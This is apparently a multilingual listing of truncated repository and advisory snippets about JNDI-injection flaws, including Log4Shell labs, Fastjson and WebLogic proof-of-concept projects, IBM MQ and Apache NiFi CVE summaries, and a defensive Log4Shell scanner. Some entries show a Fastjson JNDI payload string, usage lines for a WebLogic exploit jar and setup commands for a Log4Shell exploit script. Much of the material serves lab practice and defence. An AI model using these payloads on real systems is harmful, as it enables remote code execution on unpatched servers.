CVE-2021-44228_dockernize

Entorno de laboratorio para la vulnerabilidad CVE-2021-44228 Log4Shell Introducción Este proyecto proporciona un entorno dockerizado para practicar y comprender de forma segura la crítica vulnerabilidad de Log4j conocida como CVE-2021-44228 Log4Shell. Características clave Entorno de pruebas...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 ejecución remota de comandos 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ Versión desconocida entre 1.2.24-41...

CVE-2026-12355

IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an attacker to perform JNDI injection attacks due to insufficient input validation,...

CVE-2026-11729

IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code in client applications due to unsafe...

EUVD-2026-78903

IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code in client applications due to unsafe...

CVE-2026-11729 IBM MQ Java messaging is vulnerable to remote code execution

IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code in client applications due to unsafe...

CVE-2026-11729

IBM MQ Java messaging client is vulnerable to remote code execution via unsafe deserialization in the internal command manager, enabling JNDI injection attacks (CWE-502). An authenticated attacker with low privileges can achieve arbitrary code execution in client applications, rated CVSS 8.5 (HIG...

CVE-2026-12351 IBM MQ is vulnerable to unauthenticated remote code execution via JNDI injection

IBM MQ 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 LTS, and 10.0.0.0 could allow a remote attacker to execute arbitrary code due to unsafe JNDI lookup processing when the IVT application is deployed...

CVE-2026-12354 IBM MQ Resource Adapter IVT message-driven bean is vulnerable to remote code execution via JNDI injection

IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an authenticated attacker to execute arbitrary code on the application server due to...

EUVD-2026-78877

IBM MQ 9.1.0.0 through 9.1.0.37 LTS, 9.2.0.0 through 9.2.0.43 LTS, 9.3.0.0 through 9.3.0.41 LTS, 9.3.0.0 through 9.3.5.1 CD, 9.4.0.0 through 9.4.0.25 LTS, 9.4.0.0 through 9.4.5.1 CD, and 10.0.0.0 could allow an attacker to perform JNDI injection attacks due to insufficient input validation,...

CVE-2026-12355

IBM MQ versions 9.1–10.0.0.0 are vulnerable to JNDI injection via a bypass of the name sanitization in the JMS Resource Adapter IVT servlet . Due to insufficient input validation, an unauthenticated remote attacker can supply a malicious JNDI URL to achieve information disclosure or remote code e...

CVE-2023-34212

CVE-2023-34212: Deserialización de Java a través de componentes JNDI en Apache NiFi El servicio de controlador JndiJmsConnectionFactoryProvider junto con los procesadores ConsumeJMS y PublishJMS, en Apache NiFi 1.8.0 hasta 1.21.0, permiten a un usuario autenticado y autorizado configurar...

CVE-2021-2394

CVE-2021-2394 POC of CVE-2021-2394 免責事項 本プロジェクトは学習目的のみで使用してください。無許可の検出によって生じた直接的または間接的な結果や損害は、すべて使用者本人が負うものとします。 注意事項 PoCはIIOPを使用してパケットを送信します。関連する依存関係を追加してください（12.2.1.3.0バージョンの依存関係はリリースに含まれています）。 低バージョンのJDKを使用してweblogicをインストールし、テストを行ってください。...

log4j2-vuln-lab

⚠️ Descargo de responsabilidad : Este proyecto es solo para aprendizaje de seguridad e investigación técnica. Todos los entornos de vulnerabilidad se construyen localmente y no se han probado contra objetivos reales. No lo utilice con fines ilegales. El riesgo de usar este proyecto es...

log4shell-exploitation-detection

Log4Shell CVE-2021-44228: Explotación, Detección y Remediación Un proyecto práctico de seguridad ofensiva y defensiva que simula el ciclo de vida completo de la vulnerabilidad Log4Shell: explotación desde una VM controlada por el atacante, ingeniería de detección en Splunk y remediación validada...

CVE-2018-3191

Uso: java -jar weblogic-spring-jndi.jar Ejemplo: java -jar weblogic-spring-jndi.jar rmi://:1099/Object Nota: weblogic-spring-jndi-12.2.1.3.jar para weblogic: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar para weblogic: root@kitploit: 10.3.6.0 12.2.1.0 12.1.3.0 12.2.1.1...

log4shell-scanner

log4shell-scanner Un escáner defensivo sin dependencias para Log4Shell: encuentra archivos jar de log4j-core vulnerables y patrones de explotación JNDI en registros y configuración. Por qué este proyecto Durante mi rotación en CERT-In trabajé en identificación de amenazas, contención, remediación...

log4j-vulnerable-app-cve-2021-44228-terraform

log4j-vulnerable-app-cve-2021-44228-terraform Un Terraform para desplegar una aplicación vulnerable y un JNDIExploit para trabajar con CVE-2021-44228 Acerca de la pila Este terraform crea dos instancias en una VPC en AWS Cloud. Solo necesitas exportar tus AWSACCESSKEYID y AWSSECRETACCESSKEY Una...

fastjson-1.2.60-rce

Vulnerabilidad de deserialización en Fastjson = 1.2.60 Bypass de la lista de bloqueo de autoType con 2 gadgets JNDIConfiguration, OracleManagedConnectionFactory Gadgets root@kitploit: 经过测试，命中的4个文件都是可以利用的。 不过其中HikariConfig类就是前文提到的类，在最新版本被加入黑名单，JNDIConnectionPool类在42版本前就被加入黑名单了。...

CVE-2021-44228-POC

CVE-2021-44228-POC Explota CVE-2021-44228 descargar nuclei sudo cp nuclei /usr/bin/nuclei sudo chmod +x /usr/bin/nuclei git clone https://github.com/sec13b/CVE-2021-44228-POC.git mv CVE-2021-44228-POC log4shellexploit mkdir yaml mv .yaml yaml/ ejecutar: python3 log4shellexploit.py...